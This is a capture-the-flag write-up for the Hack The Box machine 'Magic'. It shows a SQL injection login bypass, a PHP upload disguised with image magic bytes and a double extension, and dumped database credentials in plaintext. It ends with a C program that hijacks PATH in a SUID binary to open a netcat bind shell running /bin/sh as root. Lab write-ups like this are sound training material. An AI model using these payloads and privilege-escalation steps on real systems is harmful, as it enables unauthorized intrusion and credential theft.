HTB - Linux Magic

HTB - Linux Magic


We started by bypassing the login redirection which led us to discover a upload form which is vulnerable to php code upload through double extension. Dumping the database credentials we found the user password. Finally we got root due to a relative path in a suid binary.

nobody - www-data


$ nmap -sS -sV -sC -O -p- -vvv -T4 --reason -oN

22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClcZO7AyXva0myXqRYz5xgxJ8ljSW1c6xX0vzHxP/Qy024qtSuDeQIRZGYsIR+kyje39aNw6HHxdz50XSBSEcauPLDWbIYLUMM+a0smh7/pRjfA+vqHxEp7e5l9H7Nbb1dzQesANxa1glKsEmKi1N8Yg0QHX0/FciFt1rdES9Y4b3I3gse2mSAfdNWn4ApnGnpy1tUbanZYdRtpvufqPWjzxUkFEnFIPrslKZoiQ+MLnp77DXfIm3PGjdhui0PBlkebTGbgo4+U44fniEweNJSkiaZW/CuKte0j/buSlBlnagzDl0meeT8EpBOPjk+F0v6Yr7heTuAZn75pO3l5RHX
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOVyH7ButfnaTRJb0CdXzeCYFPEmm6nkSUd4d52dW6XybW9XjBanHE/FM4kZ7bJKFEOaLzF1lDizNQgiffGWWLQ=
|   256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0dM4nfekm9dJWdTux9TqCyCGtW5rbmHfh/4v3NtTU1
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio

Ok so we only start wotj a ssh and a HTTP server for the moment, nothing fancy. Let’s look at this magic website, at first sight we see images displayed with some (random ?) char as title. Could be something with LFI, path trasversal, file upload and more.

The website ask us to login before we can upload something, no sign up form could indicate we have to do without account.


I fired up ffuf and found some files, interesting or not :

$ ffuf -w /home/switch/tools/wordlists/fuzzdb/dict/dirfuzz-dict/directory-list-2.3-medium.txt,/usr/lib/dirsearch/db/dicc.txt,~/tools/wordlists/SecLists/Discovery/Web-Content/common.txt -u -mc 200,401,302

.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10]
assets                  [Status: 301, Size: 313, Words: 20, Lines: 10]
images                  [Status: 301, Size: 313, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10]
index.php               [Status: 200, Size: 4132, Words: 498, Lines: 60]
index.php/login/        [Status: 200, Size: 4135, Words: 498, Lines: 60]
login.php               [Status: 200, Size: 4221, Words: 1179, Lines: 118]
upload.php              [Status: 302, Size: 2957, Words: 814, Lines: 85]

We found the file upload.php which redirect us to login.php, so we should log before.

auth bypass

not following redirection

If you go to you will be redirected to login.php. The normal behavior to your browser is to follow the directive of the server imposed with the Location HTTP header, but let see the data sent by the server.

$ http get "" 

HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate
Connection: Keep-Alive
Content-Length: 2957
Content-Type: text/html; charset=UTF-8
Date: Tue, 21 Apr 2020 21:41:41 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=100
Location: login.php
Pragma: no-cache
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=vkqb0klo9ph7p2ib6oti9sc84e; path=/

    <title>Magic Upload</title>
    <meta charset="utf-8"/>
    <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no"/>
    <link rel="stylesheet" href="assets/css/main.css"/>
    <link rel="stylesheet" href="assets/css/upload.css"/>
        <link rel="stylesheet" href="assets/css/noscript.css"/>
        .input {
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            opacity: 0;
            color: #150C07;
        .content {
            display: table-cell;
            vertical-align: middle;
<body class="is-preload">

<!-- Wrapper -->
<div id="wrapper">
    <!-- Main -->
    <section id="" class="indent-1">
        <h1>Welcome Admin!</h1>
        <div class="frame">
            <div class="center">
                <div class="bar"></div>
                <div class="title">Select Image to Upload</div>
                <form action="" method="POST" enctype="multipart/form-data">
                    <div class="dropzone">
                        <div class="content">
                            <img src="" class="upload">
                            <span class="filename"></span>
                            <input type="file" class="input" name="image">
                    <input class="upload-btn" type="submit" value="Upload Image" name="submit">
    <!-- Footer -->
    <section id="footer">
            <p><strong><a href="logout.php">Logout</a></strong></p>
            <ul class="icons">
                <li><a href="#" class="icon brands fa-twitter"><span class="label">Twitter</span></a></li>
                <li><a href="#" class="icon brands fa-instagram"><span class="label">Instagram</span></a></li>
                <li><a href="#" class="icon brands fa-facebook-f"><span class="label">Facebook</span></a></li>
                <li><a href="#" class="icon brands fa-dribbble"><span class="label">Dribbble</span></a></li>
                <li><a href="#" class="icon solid fa-envelope"><span class="label">Email</span></a></li>
            <ul class="copyright">
                <li>&copy; Magic</li>


<!-- Scripts -->
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/jquery.poptrox.min.js"></script>
<script src="assets/js/browser.min.js"></script>
<script src="assets/js/breakpoints.min.js"></script>
<script src="assets/js/util.js"></script>
<script src="assets/js/main.js"></script>
<script src="assets/js/upload.js"></script>


The form for the upload functionality is although displayed, we can use it as we now know the parameters and end point. You can nicely ask your browser to NOT follow the redirection and see this page in your browser for ease of use.



I ran a Burp pro active scan on the login query and Burp informed me about a potential SQLi. I didn’t really paid so much attention to this but quickly ran a SQLmap scan which found nothing.

Investigating further I found later that we could bypass the auth and being redirected to the upload page just with password=pass' or 1#

$ http --form post "" "username=test" "password=test' or 1#"   

HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate
Connection: Keep-Alive
Content-Length: 4221
Content-Type: text/html; charset=UTF-8
Date: Tue, 21 Apr 2020 21:55:59 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=100
Location: upload.php
Pragma: no-cache
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=q82q3v5p3dqf2b7ct7vkr2dbn9; path=/

upload vulnerability

I started trying to upload a PHP file to get a RCE through php execution as I knew we could access the uploaded image at view-source: by looking in the source code of the HTML page.

For this first try I went through this :

Sorry, only JPG, JPEG & PNG files are allowed.

Then I tried standards tricks like null byte, double extension and more. But still when through the previous message. Then I started to modify the uploaded PNG in burp before it’s sent to the server. Modifying few bytes making the PNG invalid still result as a successful upload.

So I just replaced the content of the PNG with

<?php echo 333 + 333 ?> 

And let the name as .PNG but this time a new error happened :

<script>alert('What are you trying to do there?')</script>

So there is some basic check on the uploaded file as it detect that the file is not a valid PNG file. Maybe it just checks the magic bytes so lets try to add the magic bytes and then php code

fh = open('shell.png','wb')
fh.write(b'\xFF\xD8\xFF\xDB' + b'<?php echo 333+333; ?>')

Wait the file is uploaded, nice it just check the magic byte so. However the php is not executed as it’s just a PNG file. The only idea I had was to do a double extension like .php.png and may be the server will accept it and serve it as php. So I just modified the filename to .php.png and boom


www-data - user

Once connected to my bind shell made with an uploaded version of netcat I’m able to see the files from the web server like the .htaccess

<FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)">
SetHandler application/x-httpd-php
<Files ~ "\.(sh|sql)">
   order deny,allow
   deny from all

Thats why .php.png works like a charm ! There is another interesting file

$ cat db.php5

  class Database
      private static $dbName = 'Magic' ;
      private static $dbHost = 'localhost' ;
      private static $dbUsername = 'theseus';
      private static $dbUserPassword = 'iamkingtheseus';

      private static $cont  = null;

      public function __construct() {
          die('Init function is not allowed');

      public static function connect()
          // One connection through whole application
          if ( null == self::$cont )
                  self::$cont =  new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
              catch(PDOException $e)
          return self::$cont;

      public static function disconnect()
          self::$cont = null;

Here are the mysql database credentials : theseus:iamkingtheseus. I’m immediately attempted su theseus with this password but nope.

We could try to dump the database as mysqldump binary is present

$ mysqldump --all-databases --user="theseus" --password="iamkingtheseus"

-- Current Database: `Magic`

CREATE DATABASE /*!32312 IF NOT EXISTS*/ `Magic` /*!40100 DEFAULT CHARACTER SET latin1 */;

USE `Magic`;

-- Table structure for table `login`

/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
  `username` varchar(50) NOT NULL,
  `password` varchar(100) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
/*!40101 SET character_set_client = @saved_cs_client */;

-- Dumping data for table `login`

/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;


Yet another password Th3s3usW4sK1ng and this one is for the user account ! eb12f6d088ff73504104992cf7dd4d4b

user - root

I spent too much time on this part even if I saw the thing very quickly, I was like never mind there must be something more obvious

As result from there is a lot of SUID binary, lot of them are the same and are just in cache directory


But a particular file is not highlighted and seems unknown /bin/sysinfo. When running it it just display some system information. As I though it was a known binary I didn’t want to find 0day in it, but the mistake was here it was not a know binary.

Running ltrace on it we can saw some popen call to get the results from other commands

theseus@ubuntu:/tmp$ ltrace /bin/sysinfo
_ZNSt8ios_base4InitC1Ev(0x55eeb52ed131, 0xffff, 0x7ffd22f9dcc8, 128)                = 0
__cxa_atexit(0x7f5759ef0a40, 0x55eeb52ed131, 0x55eeb52ed008, 6)                     = 0
setuid(0)                                                                           = -1
setgid(0)                                                                           = -1
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x55eeb52ed020, 0x55eeb50eb8f8, -160, 0) = 0x55eeb52ed020
_ZNSolsEPFRSoS_E(0x55eeb52ed020, 0x7f5759f60870, 0x55eeb52ed020, 0x55eeb50eb92d====================Hardware Info====================
)    = 0x55eeb52ed020
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev(0x7ffd22f9db90, 0x55eeb50eb92e, 0, 2880) = 0x7ffd22f9dba0
popen("lshw -short", "r")                                                           = 0x55eeb562d280

The first one is a call to lshw which display hardware information.

The vulnerability is that it doesn’t use absolute path. If we build a binary named lshw and is found in PATH before the real one, it will be executed as root!

To achieve this I wrote this quick binary, which will drop a bind shell. We can’t just execute sh as the file descriptor are not available to write in it or read from it.

$ cat poc.c
#include <stdio.h>
#include <unistd.h>

void main() {

  char *a[] = {"/tmp/netcat", "-e", "/bin/sh", "-lvp", "9999", 0};

  setregid(getegid(), getegid());
  setreuid(geteuid(), geteuid());
  execve(a[0], a, 0);

$ gcc -o /tmp/lshw /tmp/poc.c
$ chmod +x /tmp/lshw

Once compiled we can use the PATH env var to set /tmp as first directory visited to find the lshw binary.